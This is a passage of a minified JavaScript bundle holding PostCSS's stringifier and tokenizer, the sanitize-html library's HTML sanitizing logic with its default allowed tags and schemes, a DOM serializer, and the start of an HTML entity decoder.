t.walk(r=>{if(r.nodes&&(r.parent!==t||t.first!==r)&&void 0!==r.raws.before)return e=r.raws.before,e.includes(\"\\n\")&&(e=e.replace(/[^\\n]+$/,\"\")),!1}),e&&(e=e.replace(/\\S/g,\"\")),e}rawColon(t){let e;return t.walkDecls(t=>{if(void 0!==t.raws.between)return e=t.raws.between.replace(/[^\\s:]/g,\"\"),!1}),e}rawEmptyBody(t){let e;return t.walk(t=>{if(t.nodes&&0===t.nodes.length&&(e=t.raws.after,void 0!==e))return!1}),e}rawIndent(t){if(t.raws.indent)return t.raws.indent;let e;return t.walk(r=>{let n=r.parent;if(n&&n!==t&&n.parent&&n.parent===t&&void 0!==r.raws.before){let t=r.raws.before.split(\"\\n\");return e=t[t.length-1],e=e.replace(/\\S/g,\"\"),!1}}),e}rawSemicolon(t){let e;return t.walk(t=>{if(t.nodes&&t.nodes.length&&\"decl\"===t.last.type&&(e=t.raws.semicolon,void 0!==e))return!1}),e}rawValue(t,e){let r=t[e],n=t.raws[e];return n&&n.value===r?n.raw:r}root(t){this.body(t),t.raws.after&&this.builder(t.raws.after)}rule(t){this.block(t,this.rawValue(t,\"selector\")),t.raws.ownSemicolon&&this.builder(t.raws.ownSemicolon,t,\"end\")}stringify(t,e){if(!this[t.type])throw new Error(\"Unknown AST node type \"+t.type+\". Maybe you need to change PostCSS stringifier.\");this[t.type](t,e)}}t.exports=r,r.default=r},3303(t,e,r){\"use strict\";let n=r(7668);function i(t,e){new n(e).stringify(t)}t.exports=i,i.default=i},4151(t){\"use strict\";t.exports.isClean=Symbol(\"isClean\"),t.exports.my=Symbol(\"my\")},5781(t){\"use strict\";const e=\"'\".charCodeAt(0),r='\"'.charCodeAt(0),n=\"\\\\\".charCodeAt(0),i=\"/\".charCodeAt(0),o=\"\\n\".charCodeAt(0),s=\" \".charCodeAt(0),a=\"\\f\".charCodeAt(0),l=\"\\t\".charCodeAt(0),c=\"\\r\".charCodeAt(0),u=\"[\".charCodeAt(0),d=\"]\".charCodeAt(0),p=\"(\".charCodeAt(0),m=\")\".charCodeAt(0),h=\"{\".charCodeAt(0),g=\"}\".charCodeAt(0),f=\";\".charCodeAt(0),b=\"*\".charCodeAt(0),A=\":\".charCodeAt(0),y=\"@\".charCodeAt(0),v=/[\\t\\n\\f\\r \"#'()/;[\\\\\\]{}]/g,x=/[\\t\\n\\f\\r !\"#'():;@[\\\\\\]{}]|\\/(?=\\*)/g,w=/.[\\r\\n\"'(/\\\\]/,_=/[\\da-f]/i;t.exports=function(t,k={}){let C,I,S,E,D,B,O,T,N,F,M=t.css.valueOf(),j=k.ignoreErrors,P=M.length,R=0,L=[],Q=[];function G(e){throw t.error(\"Unclosed \"+e,R)}return{back:function(t){Q.push(t)},endOfFile:function(){return 0===Q.length&&R>=P},nextToken:function(t){if(Q.length)return Q.pop();if(R>=P)return;let k=!!t&&t.ignoreUnclosed;switch(C=M.charCodeAt(R),C){case o:case s:case l:case c:case a:E=R;do{E+=1,C=M.charCodeAt(E)}while(C===s||C===o||C===l||C===c||C===a);B=[\"space\",M.slice(R,E)],R=E-1;break;case u:case d:case h:case g:case A:case f:case m:{let t=String.fromCharCode(C);B=[t,t,R];break}case p:if(F=L.length?L.pop()[1]:\"\",N=M.charCodeAt(R+1),\"url\"===F&&N!==e&&N!==r&&N!==s&&N!==o&&N!==l&&N!==a&&N!==c){E=R;do{if(O=!1,E=M.indexOf(\")\",E+1),-1===E){if(j||k){E=R;break}G(\"bracket\")}for(T=E;M.charCodeAt(T-1)===n;)T-=1,O=!O}while(O);B=[\"brackets\",M.slice(R,E+1),R,E],R=E}else E=M.indexOf(\")\",R+1),I=M.slice(R,E+1),-1===E||w.test(I)?B=[\"(\",\"(\",R]:(B=[\"brackets\",I,R,E],R=E);break;case e:case r:D=C===e?\"'\":'\"',E=R;do{if(O=!1,E=M.indexOf(D,E+1),-1===E){if(j||k){E=R+1;break}G(\"string\")}for(T=E;M.charCodeAt(T-1)===n;)T-=1,O=!O}while(O);B=[\"string\",M.slice(R,E+1),R,E],R=E;break;case y:v.lastIndex=R+1,v.test(M),E=0===v.lastIndex?M.length-1:v.lastIndex-2,B=[\"at-word\",M.slice(R,E+1),R,E],R=E;break;case n:for(E=R,S=!0;M.charCodeAt(E+1)===n;)E+=1,S=!S;if(C=M.charCodeAt(E+1),S&&C!==i&&C!==s&&C!==o&&C!==l&&C!==c&&C!==a&&(E+=1,_.test(M.charAt(E)))){for(;_.test(M.charAt(E+1));)E+=1;M.charCodeAt(E+1)===s&&(E+=1)}B=[\"word\",M.slice(R,E+1),R,E],R=E;break;default:C===i&&M.charCodeAt(R+1)===b?(E=M.indexOf(\"*/\",R+2)+1,0===E&&(j||k?E=M.length:G(\"comment\")),B=[\"comment\",M.slice(R,E+1),R,E],R=E):(x.lastIndex=R+1,x.test(M),E=0===x.lastIndex?M.length-1:x.lastIndex-2,B=[\"word\",M.slice(R,E+1),R,E],L.push(B),R=E)}return R++,B},position:function(){return R}}}},6156(t){\"use strict\";let e={};t.exports=function(t){e[t]||(e[t]=!0,\"undefined\"!=typeof console&&console.warn&&console.warn(t))}},38(t){\"use strict\";class e{constructor(t,e={}){if(this.type=\"warning\",this.text=t,e.node&&e.node.source){let t=e.node.rangeBy(e);this.line=t.start.line,this.column=t.start.column,this.endLine=t.end.line,this.endColumn=t.end.column}for(let t in e)this[t]=e[t]}toString(){return this.node?this.node.error(this.text,{index:this.index,plugin:this.plugin,word:this.word}).message:this.plugin?this.plugin+\": \"+this.text:this.text}}t.exports=e,e.default=e},4728(t,e,r){const n=r(8331),i=r(2834),{isPlainObject:o}=r(8682),s=r(4744),a=r(9466),{parse:l}=r(2895),c=[\"img\",\"audio\",\"video\",\"picture\",\"svg\",\"object\",\"map\",\"iframe\",\"embed\"],u=[\"script\",\"style\"];function d(t,e){t&&Object.keys(t).forEach(function(r){e(t[r],r)})}function p(t,e){return{}.hasOwnProperty.call(t,e)}function m(t,e){const r=[];return d(t,function(t){e(t)&&r.push(t)}),r}t.exports=g;const h=/^[^\\0\\t\\n\\f\\r /<=>]+$/;function g(t,e,r){if(null==t)return\"\";\"number\"==typeof t&&(t=t.toString());let b=\"\",A=\"\";function y(t,e){const r=this;this.tag=t,this.attribs=e||{},this.tagPosition=b.length,this.text=\"\",this.openingTagLength=0,this.mediaChildren=[],this.updateParentNodeText=function(){if(B.length){B[B.length-1].text+=r.text}},this.updateParentNodeMediaChildren=function(){if(B.length&&c.includes(this.tag)){B[B.length-1].mediaChildren.push(this.tag)}}}(e=Object.assign({},g.defaults,e)).parser=Object.assign({},f,e.parser);const v=function(t){return!1===e.allowedTags||(e.allowedTags||[]).indexOf(t)>-1};u.forEach(function(t){v(t)&&!e.allowVulnerableTags&&console.warn(`\\n\\n⚠️ Your \\`allowedTags\\` option includes, \\`${t}\\`, which is inherently\\nvulnerable to XSS attacks. Please remove it from \\`allowedTags\\`.\\nOr, to disable this warning, add the \\`allowVulnerableTags\\` option\\nand ensure you are accounting for this risk.\\n\\n`)});const x=e.nonTextTags||[\"script\",\"style\",\"textarea\",\"option\"];let w,_;e.allowedAttributes&&(w={},_={},d(e.allowedAttributes,function(t,e){w[e]=[];const r=[];t.forEach(function(t){\"string\"==typeof t&&t.indexOf(\"*\")>=0?r.push(i(t).replace(/\\\\\\*/g,\".*\")):w[e].push(t)}),r.length&&(_[e]=new RegExp(\"^(\"+r.join(\"|\")+\")$\"))}));const k={},C={},I={};d(e.allowedClasses,function(t,e){if(w&&(p(w,e)||(w[e]=[]),w[e].push(\"class\")),k[e]=t,Array.isArray(t)){const r=[];k[e]=[],I[e]=[],t.forEach(function(t){\"string\"==typeof t&&t.indexOf(\"*\")>=0?r.push(i(t).replace(/\\\\\\*/g,\".*\")):t instanceof RegExp?I[e].push(t):k[e].push(t)}),r.length&&(C[e]=new RegExp(\"^(\"+r.join(\"|\")+\")$\"))}});const S={};let E,D,B,O,T,N,F;d(e.transformTags,function(t,e){let r;\"function\"==typeof t?r=t:\"string\"==typeof t&&(r=g.simpleTransform(t)),\"*\"===e?E=r:S[e]=r});let M=!1;P();const j=new n.Parser({onopentag:function(t,r){if(e.onOpenTag&&e.onOpenTag(t,r),e.enforceHtmlBoundary&&\"html\"===t&&P(),N)return void F++;const n=new y(t,r);B.push(n);let i=!1;const c=!!n.text;let u;if(p(S,t)&&(u=S[t](t,r),n.attribs=r=u.attribs,void 0!==u.text&&(n.innerText=u.text),t!==u.tagName&&(n.name=t=u.tagName,T[D]=u.tagName)),E&&(u=E(t,r),n.attribs=r=u.attribs,t!==u.tagName&&(n.name=t=u.tagName,T[D]=u.tagName)),(!v(t)||\"recursiveEscape\"===e.disallowedTagsMode&&!function(t){for(const e in t)if(p(t,e))return!1;return!0}(O)||null!=e.nestingLimit&&D>=e.nestingLimit)&&(i=!0,O[D]=!0,\"discard\"!==e.disallowedTagsMode&&\"completelyDiscard\"!==e.disallowedTagsMode||-1!==x.indexOf(t)&&(N=!0,F=1)),D++,i){if(\"discard\"===e.disallowedTagsMode||\"completelyDiscard\"===e.disallowedTagsMode){if(n.innerText&&!c){const r=R(n.innerText);e.textFilter?b+=e.textFilter(r,t):b+=r,M=!0}return}A=b,b=\"\"}b+=\"<\"+t,\"script\"===t&&(e.allowedScriptHostnames||e.allowedScriptDomains)&&(n.innerText=\"\");i&&(\"escape\"===e.disallowedTagsMode||\"recursiveEscape\"===e.disallowedTagsMode)&&e.preserveEscapedAttributes?d(r,function(t,e){b+=\" \"+e+'=\"'+R(t||\"\",!0)+'\"'}):(!w||p(w,t)||w[\"*\"])&&d(r,function(r,i){if(!h.test(i))return void delete n.attribs[i];if(\"\"===r&&!e.allowedEmptyAttributes.includes(i)&&(e.nonBooleanAttributes.includes(i)||e.nonBooleanAttributes.includes(\"*\")))return void delete n.attribs[i];let c=!1;if(!w||p(w,t)&&-1!==w[t].indexOf(i)||w[\"*\"]&&-1!==w[\"*\"].indexOf(i)||p(_,t)&&_[t].test(i)||_[\"*\"]&&_[\"*\"].test(i))c=!0;else if(w&&w[t])for(const e of w[t])if(o(e)&&e.name&&e.name===i){c=!0;let t=\"\";if(!0===e.multiple){const n=r.split(\" \");for(const r of n)-1!==e.values.indexOf(r)&&(\"\"===t?t=r:t+=\" \"+r)}else e.values.indexOf(r)>=0&&(t=r);r=t}if(c){if(-1!==e.allowedSchemesAppliedToAttributes.indexOf(i)&&L(t,r))return void delete n.attribs[i];if(\"script\"===t&&\"src\"===i){let t=!0;try{const n=Q(r);if(e.allowedScriptHostnames||e.allowedScriptDomains){const r=(e.allowedScriptHostnames||[]).find(function(t){return t===n.url.hostname}),i=(e.allowedScriptDomains||[]).find(function(t){return n.url.hostname===t||n.url.hostname.endsWith(`.${t}`)});t=r||i}}catch(e){t=!1}if(!t)return void delete n.attribs[i]}if(\"iframe\"===t&&\"src\"===i){let t=!0;try{const n=Q(r);if(n.isRelativeUrl)t=p(e,\"allowIframeRelativeUrls\")?e.allowIframeRelativeUrls:!e.allowedIframeHostnames&&!e.allowedIframeDomains;else if(e.allowedIframeHostnames||e.allowedIframeDomains){const r=(e.allowedIframeHostnames||[]).find(function(t){return t===n.url.hostname}),i=(e.allowedIframeDomains||[]).find(function(t){return n.url.hostname===t||n.url.hostname.endsWith(`.${t}`)});t=r||i}}catch(e){t=!1}if(!t)return void delete n.attribs[i]}if(\"srcset\"===i)try{let t=a(r);if(t.forEach(function(t){L(\"srcset\",t.url)&&(t.evil=!0)}),t=m(t,function(t){return!t.evil}),!t.length)return void delete n.attribs[i];r=m(t,function(t){return!t.evil}).map(function(t){if(!t.url)throw new Error(\"URL missing\");return t.url+(t.w?` ${t.w}w`:\"\")+(t.h?` ${t.h}h`:\"\")+(t.d?` ${t.d}x`:\"\")}).join(\", \"),n.attribs[i]=r}catch(t){return void delete n.attribs[i]}if(\"class\"===i){const e=k[t],o=k[\"*\"],a=C[t],l=I[t],c=I[\"*\"],u=[a,C[\"*\"]].concat(l,c).filter(function(t){return t});if(!(r=G(r,e&&o?s(e,o):e||o,u)).length)return void delete n.attribs[i]}if(\"style\"===i)if(e.parseStyleAttributes)try{const o=function(t,e){if(!e)return t;const r=t.nodes[0];let n;n=e[r.selector]&&e[\"*\"]?s(e[r.selector],e[\"*\"]):e[r.selector]||e[\"*\"];n&&(t.nodes[0].nodes=r.nodes.reduce(function(t){return function(e,r){if(p(t,r.prop)){t[r.prop].some(function(t){return t.test(r.value)})&&e.push(r)}return e}}(n),[]));return t}(l(t+\" {\"+r+\"}\",{map:!1}),e.allowedStyles);if(r=function(t){return t.nodes[0].nodes.reduce(function(t,e){return t.push(`${e.prop}:${e.value}${e.important?\" !important\":\"\"}`),t},[]).join(\";\")}(o),0===r.length)return void delete n.attribs[i]}catch(e){return\"undefined\"!=typeof window&&console.warn('Failed to parse \"'+t+\" {\"+r+\"}\\\", If you're running this in a browser, we recommend to disable style parsing: options.parseStyleAttributes: false, since this only works in a node environment due to a postcss dependency, More info: https://github.com/apostrophecms/sanitize-html/issues/547\"),void delete n.attribs[i]}else if(e.allowedStyles)throw new Error(\"allowedStyles option cannot be used together with parseStyleAttributes: false.\");b+=\" \"+i,r&&r.length?b+='=\"'+R(r,!0)+'\"':e.allowedEmptyAttributes.includes(i)&&(b+='=\"\"')}else delete n.attribs[i]}),-1!==e.selfClosing.indexOf(t)?b+=\" />\":(b+=\">\",!n.innerText||c||e.textFilter||(b+=R(n.innerText),M=!0)),i&&(b=A+R(b),A=\"\"),n.openingTagLength=b.length-n.tagPosition},ontext:function(t){if(N)return;const r=B[B.length-1];let n;if(r&&(n=r.tag,t=void 0!==r.innerText?r.innerText:t),\"completelyDiscard\"!==e.disallowedTagsMode||v(n))if(\"discard\"!==e.disallowedTagsMode&&\"completelyDiscard\"!==e.disallowedTagsMode||\"script\"!==n&&\"style\"!==n)if(\"discard\"!==e.disallowedTagsMode&&\"completelyDiscard\"!==e.disallowedTagsMode||-1===x.indexOf(n)){if(!M){const r=R(t,!1);e.textFilter?b+=e.textFilter(r,n):b+=r}}else b+=t;else b+=t;else t=\"\";if(B.length){B[B.length-1].text+=t}},onclosetag:function(t,r){if(e.onCloseTag&&e.onCloseTag(t,r),N){if(F--,F)return;N=!1}const n=B.pop();if(!n)return;if(n.tag!==t)return void B.push(n);N=!!e.enforceHtmlBoundary&&\"html\"===t,D--;const i=O[D];if(i){if(delete O[D],\"discard\"===e.disallowedTagsMode||\"completelyDiscard\"===e.disallowedTagsMode)return void n.updateParentNodeText();A=b,b=\"\"}if(T[D]&&(t=T[D],delete T[D]),e.exclusiveFilter){const t=e.exclusiveFilter(n);if(\"excludeTag\"===t)return i&&(b=A,A=\"\"),void(b=b.substring(0,n.tagPosition)+b.substring(n.tagPosition+n.openingTagLength));if(t)return void(b=b.substring(0,n.tagPosition))}n.updateParentNodeMediaChildren(),n.updateParentNodeText(),-1!==e.selfClosing.indexOf(t)||r&&!v(t)&&[\"escape\",\"recursiveEscape\"].indexOf(e.disallowedTagsMode)>=0?i&&(b=A,A=\"\"):(b+=\"</\"+t+\">\",i&&(b=A+R(b),A=\"\"),M=!1)}},e.parser);if(j.write(t),j.end(),\"escape\"===e.disallowedTagsMode||\"recursiveEscape\"===e.disallowedTagsMode){const e=j.endIndex;if(null!=e&&e>=0&&e<t.length){const r=t.substring(e);b+=R(r)}else(null==e||e<0)&&t.length>0&&\"\"===b&&(b=R(t))}return b;function P(){b=\"\",D=0,B=[],O={},T={},N=!1,F=0}function R(t,r){return\"string\"!=typeof t&&(t+=\"\"),e.parser.decodeEntities&&(t=t.replace(/&/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\"),r&&(t=t.replace(/\"/g,\"&quot;\"))),t=t.replace(/&(?![a-zA-Z0-9#]{1,20};)/g,\"&amp;\").replace(/</g,\"&lt;\").replace(/>/g,\"&gt;\"),r&&(t=t.replace(/\"/g,\"&quot;\")),t}function L(t,r){for(r=r.replace(/[\\x00-\\x20]+/g,\"\");;){const t=r.indexOf(\"\\x3c!--\");if(-1===t)break;const e=r.indexOf(\"--\\x3e\",t+4);if(-1===e)break;r=r.substring(0,t)+r.substring(e+3)}const n=r.match(/^([a-zA-Z][a-zA-Z0-9.\\-+]*):/);if(!n)return!!r.match(/^[/\\\\]{2}/)&&!e.allowProtocolRelative;const i=n[1].toLowerCase();return p(e.allowedSchemesByTag,t)?-1===e.allowedSchemesByTag[t].indexOf(i):!e.allowedSchemes||-1===e.allowedSchemes.indexOf(i)}function Q(t){if((t=t.replace(/^(\\w+:)?\\s*[\\\\/]\\s*[\\\\/]/,\"$1//\")).startsWith(\"relative:\"))throw new Error(\"relative: exploit attempt\");let e=\"relative://relative-site\";for(let t=0;t<100;t++)e+=`/${t}`;const r=new URL(t,e);return{isRelativeUrl:r&&\"relative-site\"===r.hostname&&\"relative:\"===r.protocol,url:r}}function G(t,e,r){return e?(t=t.split(/\\s+/)).filter(function(t){return-1!==e.indexOf(t)||r.some(function(e){return e.test(t)})}).join(\" \"):t}}const f={decodeEntities:!0};g.defaults={allowedTags:[\"address\",\"article\",\"aside\",\"footer\",\"header\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"hgroup\",\"main\",\"nav\",\"section\",\"blockquote\",\"dd\",\"div\",\"dl\",\"dt\",\"figcaption\",\"figure\",\"hr\",\"li\",\"menu\",\"ol\",\"p\",\"pre\",\"ul\",\"a\",\"abbr\",\"b\",\"bdi\",\"bdo\",\"br\",\"cite\",\"code\",\"data\",\"dfn\",\"em\",\"i\",\"kbd\",\"mark\",\"q\",\"rb\",\"rp\",\"rt\",\"rtc\",\"ruby\",\"s\",\"samp\",\"small\",\"span\",\"strong\",\"sub\",\"sup\",\"time\",\"u\",\"var\",\"wbr\",\"caption\",\"col\",\"colgroup\",\"table\",\"tbody\",\"td\",\"tfoot\",\"th\",\"thead\",\"tr\"],nonBooleanAttributes:[\"abbr\",\"accept\",\"accept-charset\",\"accesskey\",\"action\",\"allow\",\"alt\",\"as\",\"autocapitalize\",\"autocomplete\",\"blocking\",\"charset\",\"cite\",\"class\",\"color\",\"cols\",\"colspan\",\"content\",\"contenteditable\",\"coords\",\"crossorigin\",\"data\",\"datetime\",\"decoding\",\"dir\",\"dirname\",\"download\",\"draggable\",\"enctype\",\"enterkeyhint\",\"fetchpriority\",\"for\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formtarget\",\"headers\",\"height\",\"hidden\",\"high\",\"href\",\"hreflang\",\"http-equiv\",\"id\",\"imagesizes\",\"imagesrcset\",\"inputmode\",\"integrity\",\"is\",\"itemid\",\"itemprop\",\"itemref\",\"itemtype\",\"kind\",\"label\",\"lang\",\"list\",\"loading\",\"low\",\"max\",\"maxlength\",\"media\",\"method\",\"min\",\"minlength\",\"name\",\"nonce\",\"optimum\",\"pattern\",\"ping\",\"placeholder\",\"popover\",\"popovertarget\",\"popovertargetaction\",\"poster\",\"preload\",\"referrerpolicy\",\"rel\",\"rows\",\"rowspan\",\"sandbox\",\"scope\",\"shape\",\"size\",\"sizes\",\"slot\",\"span\",\"spellcheck\",\"src\",\"srcdoc\",\"srclang\",\"srcset\",\"start\",\"step\",\"style\",\"tabindex\",\"target\",\"title\",\"translate\",\"type\",\"usemap\",\"value\",\"width\",\"wrap\",\"onauxclick\",\"onafterprint\",\"onbeforematch\",\"onbeforeprint\",\"onbeforeunload\",\"onbeforetoggle\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextlost\",\"oncontextmenu\",\"oncontextrestored\",\"oncopy\",\"oncuechange\",\"oncut\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"onformdata\",\"onhashchange\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onlanguagechange\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmessage\",\"onmessageerror\",\"onmousedown\",\"onmouseenter\",\"onmouseleave\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onoffline\",\"ononline\",\"onpagehide\",\"onpageshow\",\"onpaste\",\"onpause\",\"onplay\",\"onplaying\",\"onpopstate\",\"onprogress\",\"onratechange\",\"onreset\",\"onresize\",\"onrejectionhandled\",\"onscroll\",\"onscrollend\",\"onsecuritypolicyviolation\",\"onseeked\",\"onseeking\",\"onselect\",\"onslotchange\",\"onstalled\",\"onstorage\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"ontoggle\",\"onunhandledrejection\",\"onunload\",\"onvolumechange\",\"onwaiting\",\"onwheel\"],disallowedTagsMode:\"discard\",allowedAttributes:{a:[\"href\",\"name\",\"target\"],img:[\"src\",\"srcset\",\"alt\",\"title\",\"width\",\"height\",\"loading\"]},allowedEmptyAttributes:[\"alt\"],selfClosing:[\"img\",\"br\",\"hr\",\"area\",\"base\",\"basefont\",\"input\",\"link\",\"meta\"],allowedSchemes:[\"http\",\"https\",\"ftp\",\"mailto\",\"tel\"],allowedSchemesByTag:{},allowedSchemesAppliedToAttributes:[\"href\",\"src\",\"cite\"],allowProtocolRelative:!0,enforceHtmlBoundary:!1,parseStyleAttributes:!0,preserveEscapedAttributes:!1},g.simpleTransform=function(t,e,r){return r=void 0===r||r,e=e||{},function(n,i){let o;if(r)for(o in e)i[o]=e[o];else i=e;return{tagName:t,attribs:i}}}},1019(t,e){\"use strict\";Object.defineProperty(e,\"__esModule\",{value:!0}),e.attributeNames=e.elementNames=void 0,e.elementNames=new Map([\"altGlyph\",\"altGlyphDef\",\"altGlyphItem\",\"animateColor\",\"animateMotion\",\"animateTransform\",\"clipPath\",\"feBlend\",\"feColorMatrix\",\"feComponentTransfer\",\"feComposite\",\"feConvolveMatrix\",\"feDiffuseLighting\",\"feDisplacementMap\",\"feDistantLight\",\"feDropShadow\",\"feFlood\",\"feFuncA\",\"feFuncB\",\"feFuncG\",\"feFuncR\",\"feGaussianBlur\",\"feImage\",\"feMerge\",\"feMergeNode\",\"feMorphology\",\"feOffset\",\"fePointLight\",\"feSpecularLighting\",\"feSpotLight\",\"feTile\",\"feTurbulence\",\"foreignObject\",\"glyphRef\",\"linearGradient\",\"radialGradient\",\"textPath\"].map(function(t){return[t.toLowerCase(),t]})),e.attributeNames=new Map([\"definitionURL\",\"attributeName\",\"attributeType\",\"baseFrequency\",\"baseProfile\",\"calcMode\",\"clipPathUnits\",\"diffuseConstant\",\"edgeMode\",\"filterUnits\",\"glyphRef\",\"gradientTransform\",\"gradientUnits\",\"kernelMatrix\",\"kernelUnitLength\",\"keyPoints\",\"keySplines\",\"keyTimes\",\"lengthAdjust\",\"limitingConeAngle\",\"markerHeight\",\"markerUnits\",\"markerWidth\",\"maskContentUnits\",\"maskUnits\",\"numOctaves\",\"pathLength\",\"patternContentUnits\",\"patternTransform\",\"patternUnits\",\"pointsAtX\",\"pointsAtY\",\"pointsAtZ\",\"preserveAlpha\",\"preserveAspectRatio\",\"primitiveUnits\",\"refX\",\"refY\",\"repeatCount\",\"repeatDur\",\"requiredExtensions\",\"requiredFeatures\",\"specularConstant\",\"specularExponent\",\"spreadMethod\",\"startOffset\",\"stdDeviation\",\"stitchTiles\",\"surfaceScale\",\"systemLanguage\",\"tableValues\",\"targetX\",\"targetY\",\"textLength\",\"viewBox\",\"viewTarget\",\"xChannelSelector\",\"yChannelSelector\",\"zoomAndPan\"].map(function(t){return[t.toLowerCase(),t]}))},9079(t,e,r){\"use strict\";var n=this&&this.__assign||function(){return n=Object.assign||function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var i in e=arguments[r])Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i]);return t},n.apply(this,arguments)},i=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),o=this&&this.__setModuleDefault||(Object.create?function(t,e){Object.defineProperty(t,\"default\",{enumerable:!0,value:e})}:function(t,e){t.default=e}),s=this&&this.__importStar||function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)\"default\"!==r&&Object.prototype.hasOwnProperty.call(t,r)&&i(e,t,r);return o(e,t),e};Object.defineProperty(e,\"__esModule\",{value:!0}),e.render=void 0;var a=s(r(5413)),l=r(808),c=r(1019),u=new Set([\"style\",\"script\",\"xmp\",\"iframe\",\"noembed\",\"noframes\",\"plaintext\",\"noscript\"]);function d(t){return t.replace(/\"/g,\"&quot;\")}var p=new Set([\"area\",\"base\",\"basefont\",\"br\",\"col\",\"command\",\"embed\",\"frame\",\"hr\",\"img\",\"input\",\"isindex\",\"keygen\",\"link\",\"meta\",\"param\",\"source\",\"track\",\"wbr\"]);function m(t,e){void 0===e&&(e={});for(var r=(\"length\"in t?t:[t]),n=\"\",i=0;i<r.length;i++)n+=h(r[i],e);return n}function h(t,e){switch(t.type){case a.Root:return m(t.children,e);case a.Doctype:case a.Directive:return\"<\".concat(t.data,\">\");case a.Comment:return function(t){return\"\\x3c!--\".concat(t.data,\"--\\x3e\")}(t);case a.CDATA:return function(t){return\"<![CDATA[\".concat(t.children[0].data,\"]]>\")}(t);case a.Script:case a.Style:case a.Tag:return function(t,e){var r;\"foreign\"===e.xmlMode&&(t.name=null!==(r=c.elementNames.get(t.name))&&void 0!==r?r:t.name,t.parent&&g.has(t.parent.name)&&(e=n(n({},e),{xmlMode:!1})));!e.xmlMode&&f.has(t.name)&&(e=n(n({},e),{xmlMode:\"foreign\"}));var i=\"<\".concat(t.name),o=function(t,e){var r;if(t){var n=!1===(null!==(r=e.encodeEntities)&&void 0!==r?r:e.decodeEntities)?d:e.xmlMode||\"utf8\"!==e.encodeEntities?l.encodeXML:l.escapeAttribute;return Object.keys(t).map(function(r){var i,o,s=null!==(i=t[r])&&void 0!==i?i:\"\";return\"foreign\"===e.xmlMode&&(r=null!==(o=c.attributeNames.get(r))&&void 0!==o?o:r),e.emptyAttrs||e.xmlMode||\"\"!==s?\"\".concat(r,'=\"').concat(n(s),'\"'):r}).join(\" \")}}(t.attribs,e);o&&(i+=\" \".concat(o));0===t.children.length&&(e.xmlMode?!1!==e.selfClosingTags:e.selfClosingTags&&p.has(t.name))?(e.xmlMode||(i+=\" \"),i+=\"/>\"):(i+=\">\",t.children.length>0&&(i+=m(t.children,e)),!e.xmlMode&&p.has(t.name)||(i+=\"</\".concat(t.name,\">\")));return i}(t,e);case a.Text:return function(t,e){var r,n=t.data||\"\";!1===(null!==(r=e.encodeEntities)&&void 0!==r?r:e.decodeEntities)||!e.xmlMode&&t.parent&&u.has(t.parent.name)||(n=e.xmlMode||\"utf8\"!==e.encodeEntities?(0,l.encodeXML)(n):(0,l.escapeText)(n));return n}(t,e)}}e.render=m,e.default=m;var g=new Set([\"mi\",\"mo\",\"mn\",\"ms\",\"mtext\",\"annotation-xml\",\"foreignObject\",\"desc\",\"title\"]),f=new Set([\"svg\",\"math\"])},9004(t,e,r){\"use strict\";var n=this&&this.__createBinding||(Object.create?function(t,e,r,n){void 0===n&&(n=r);var i=Object.getOwnPropertyDescriptor(e,r);i&&!(\"get\"in i?!e.__esModule:i.writable||i.configurable)||(i={enumerable:!0,get:function(){return e[r]}}),Object.defineProperty(t,n,i)}:function(t,e,r,n){void 0===n&&(n=r),t[n]=e[r]}),i=this&&this.__setModuleDefault||(Object.create?function(t,e){Object.defineProperty(t,\"default\",{enumerable:!0,value:e})}:function(t,e){t.default=e}),o=this&&this.__importStar||function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)\"default\"!==r&&Object.prototype.hasOwnProperty.call(t,r)&&n(e,t,r);return i(e,t),e},s=this&&this.__importDefault||function(t){return t&&t.__esModule?t:{default:t}};Object.defineProperty(e,\"__esModule\",{value:!0}),e.decodeXML=e.decodeHTMLStrict=e.decodeHTMLAttribute=e.decodeHTML=e.determineBranch=e.EntityDecoder=e.DecodingMode=e.BinTrieFlags=e.fromCodePoint=e.replaceCodePoint=e.decodeCodePoint=e.xmlDecodeTree=e.htmlDecodeTree=void 0;var a=s(r(1073));e.htmlDecodeTree=a.default;var l=s(r(6479));e.xmlDecodeTree=l.default;var c=o(r(8018));e.decodeCodePoint=c.default;var u,d=r(8018);Object.defineProperty(e,\"replaceCodePoint\",{enumerable:!0,get:function(){return d.replaceCodePoint}}),Object.defineProperty(e,\"fromCodePoint\",{enumerable:!0,get:function(){return d.fromCodePoint}}),function(t){t[t.NUM=35]=\"NUM\",t[t.SEMI=59]=\"SEMI\",t[t.EQUALS=61]=\"EQUALS\",t[t.ZERO=48]=\"ZERO\",t[t.NINE=57]=\"NINE\",t[t.LOWER_A=97]=\"LOWER_A\",t[t.LOWER_F=102]=\"LOWER_F\",t[t.LOWER_X=120]=\"LOWER_X\",t[t.LOWER_Z=122]=\"LOWER_Z\",t[t.UPPER_A=65]=\"UPPER_A\",t[t.UPPER_F=70]=\"UPPER_F\",t[t.UPPER_Z=90]=\"UPPER_Z\"}(u||(u={}));var p,m,h;function g(t){return t>=u.ZERO&&t<=u.NINE}function f(t){return t>=u.UPPER_A&&t<=u.UPPER_F||t>=u.LOWER_A&&t<=u.LOWER_F}function b(t){return t===u.EQUALS||function(t){return 